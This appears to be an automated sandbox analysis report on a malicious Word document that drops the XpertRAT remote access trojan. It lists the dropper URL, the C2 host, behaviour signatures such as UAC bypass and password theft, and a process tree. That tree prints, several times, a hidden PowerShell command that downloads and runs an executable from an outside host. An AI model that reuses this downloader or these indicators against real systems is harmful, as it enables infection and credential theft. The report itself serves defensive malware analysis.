Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    11/09/2021, 00:59

General

  • Target
    SPECIFICATION-625636.doc
  • Size 341KB
  • Sample210911-bccc4adhej
  • SHA256 48accb18692df9774f22f810c1812ef3b3d0da6174406df8f9fb0840a513475f
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    httP://esetnode32-antiviru.ydns.eu/EXCEL.exe

Extracted

Family
  • xpertrat

Version
  • 3.0.10

Botnet
  • Test

C2
  • kapasky-antivirus.firewall-gateway.net:4000

Mutex
  • L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0

Signatures

  • Process spawned unexpected child process 3 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • UAC bypass 3 TTPs
  • Windows security bypass 2 TTPs
  • XpertRAT

    XpertRAT is a remote access trojan with various capabilities.

  • XpertRAT Core Payload 1 IoCs
  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 3 IoCs
  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 10 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 2 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\SPECIFICATION-625636.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1948
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://esetnode32-antiviru.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1912
      • C:\Users\Admin\AppData\Roaming\EXCEL.exe
        "C:\Users\Admin\AppData\Roaming\EXCEL.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1692
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1592
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1644
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2072
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2324
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2580
        • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
          C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
          4⤵
          • Executes dropped EXE
          • Windows security modification
          • Checks whether UAC is enabled
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of SetWindowsHookEx
          • System policy modification
          PID:2872
          • C:\Program Files (x86)\Internet Explorer\iexplore.exe
            C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
            5⤵
              PID:2916
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://esetnode32-antiviru.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
        2⤵
        • Process spawned unexpected child process
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1120
        • C:\Users\Admin\AppData\Roaming\EXCEL.exe
          "C:\Users\Admin\AppData\Roaming\EXCEL.exe"
          3⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1048
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1040
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1556
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2152
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2444
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection google.com
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2712
          • C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
            C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
            4⤵
            • Executes dropped EXE
            • Windows security modification
            • Checks whether UAC is enabled
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • System policy modification
            PID:2960
            • C:\Program Files (x86)\Internet Explorer\iexplore.exe
              C:\Users\Admin\AppData\Local\Temp\EXCEL.exe
              5⤵
              • Adds policy Run key to start application
              • Adds Run key to start application
              • Suspicious use of SetThreadContext
              • Suspicious use of SetWindowsHookEx
              PID:3000
              • C:\Windows\SysWOW64\notepad.exe
                notepad.exe
                6⤵
                  PID:3036
                • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                  /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jboxzgbed0.txt"
                  6⤵
                    PID:1328
                  • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                    /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jboxzgbed1.txt"
                    6⤵
                      PID:1360
                    • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                      /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jboxzgbed2.txt"
                      6⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1412
                    • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                      /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jboxzgbed3.txt"
                      6⤵
                        PID:2144
                      • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                        /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jboxzgbed4.txt"
                        6⤵
                          PID:612
                        • C:\Program Files (x86)\Internet Explorer\iexplore.exe
                          /stext "C:\Users\Admin\AppData\Roaming\L3Q7J4T2-J8A6-L6O4-W4G3-U5J7D0W2W5F0\jboxzgbed4.txt"
                          6⤵
                            PID:1368
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httP://esetnode32-antiviru.ydns.eu/EXCEL.exe','C:\Users\Admin\AppData\Roaming\EXCEL.exe');Start-Process 'C:\Users\Admin\AppData\Roaming\EXCEL.exe'"
                    2⤵
                    • Process spawned unexpected child process
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1376
                  • C:\Windows\splwow64.exe
                    C:\Windows\splwow64.exe 12288
                    2⤵
                      PID:1840

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        memory/1040-154-0x0000000004AC0000-0x0000000004AC1000-memory.dmp

                        memory/1040-157-0x0000000004AC2000-0x0000000004AC3000-memory.dmp

                        memory/1040-148-0x0000000000F90000-0x0000000000F91000-memory.dmp

                        memory/1048-138-0x0000000004F80000-0x0000000004F81000-memory.dmp

                        memory/1048-132-0x0000000001250000-0x0000000001251000-memory.dmp

                        memory/1048-139-0x0000000000780000-0x00000000007D7000-memory.dmp

                        memory/1120-86-0x0000000004B62000-0x0000000004B63000-memory.dmp

                        memory/1120-85-0x0000000004B60000-0x0000000004B61000-memory.dmp

                        memory/1376-87-0x0000000004A10000-0x0000000004A11000-memory.dmp

                        memory/1376-88-0x0000000004A12000-0x0000000004A13000-memory.dmp

                        memory/1556-182-0x0000000004B10000-0x0000000004B11000-memory.dmp

                        memory/1556-183-0x0000000004B12000-0x0000000004B13000-memory.dmp

                        memory/1592-155-0x0000000004A40000-0x0000000004A41000-memory.dmp

                        memory/1592-156-0x0000000004A42000-0x0000000004A43000-memory.dmp

                        memory/1592-164-0x00000000063F0000-0x00000000063F1000-memory.dmp

                        memory/1592-150-0x0000000004A80000-0x0000000004A81000-memory.dmp

                        memory/1592-152-0x0000000001240000-0x0000000001241000-memory.dmp

                        memory/1592-161-0x00000000060E0000-0x00000000060E1000-memory.dmp

                        memory/1592-158-0x0000000004990000-0x0000000004991000-memory.dmp

                        memory/1644-171-0x0000000004B10000-0x0000000004B11000-memory.dmp

                        memory/1644-181-0x0000000004AD2000-0x0000000004AD3000-memory.dmp

                        memory/1644-180-0x0000000004AD0000-0x0000000004AD1000-memory.dmp

                        memory/1644-170-0x0000000000FB0000-0x0000000000FB1000-memory.dmp

                        memory/1692-137-0x0000000004F70000-0x0000000004F71000-memory.dmp

                        memory/1912-114-0x0000000006330000-0x0000000006331000-memory.dmp

                        memory/1912-66-0x00000000007B0000-0x00000000007B1000-memory.dmp

                        memory/1912-99-0x00000000061E0000-0x00000000061E1000-memory.dmp

                        memory/1912-106-0x0000000006300000-0x0000000006301000-memory.dmp

                        memory/1912-67-0x0000000004BE0000-0x0000000004BE1000-memory.dmp

                        memory/1912-97-0x000000007EF30000-0x000000007EF31000-memory.dmp

                        memory/1912-69-0x0000000004BA2000-0x0000000004BA3000-memory.dmp

                        memory/1912-98-0x0000000006110000-0x0000000006111000-memory.dmp

                        memory/1912-92-0x00000000060A0000-0x00000000060A1000-memory.dmp

                        memory/1912-68-0x0000000004BA0000-0x0000000004BA1000-memory.dmp

                        memory/1912-71-0x0000000002910000-0x0000000002911000-memory.dmp

                        memory/1912-70-0x00000000024C0000-0x00000000024C1000-memory.dmp

                        memory/1948-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

                        memory/1948-63-0x0000000075511000-0x0000000075513000-memory.dmp

                        memory/1948-60-0x00000000722B1000-0x00000000722B4000-memory.dmp

                        memory/1948-61-0x000000006FD31000-0x000000006FD33000-memory.dmp

                        memory/2072-200-0x0000000000FE2000-0x0000000000FE3000-memory.dmp

                        memory/2072-199-0x0000000000FE0000-0x0000000000FE1000-memory.dmp

                        memory/2152-210-0x0000000001222000-0x0000000001223000-memory.dmp

                        memory/2152-209-0x0000000001220000-0x0000000001221000-memory.dmp

                        memory/2324-219-0x0000000002830000-0x000000000347A000-memory.dmp

                        memory/2324-220-0x0000000002830000-0x000000000347A000-memory.dmp

                        memory/2444-233-0x0000000002830000-0x000000000347A000-memory.dmp

                        memory/2580-241-0x0000000004940000-0x0000000004941000-memory.dmp

                        memory/2580-242-0x0000000004942000-0x0000000004943000-memory.dmp

                        memory/2712-254-0x0000000004C30000-0x0000000004C31000-memory.dmp

                        memory/2712-255-0x0000000004C32000-0x0000000004C33000-memory.dmp

                        memory/2872-273-0x0000000000400000-0x000000000042C000-memory.dmp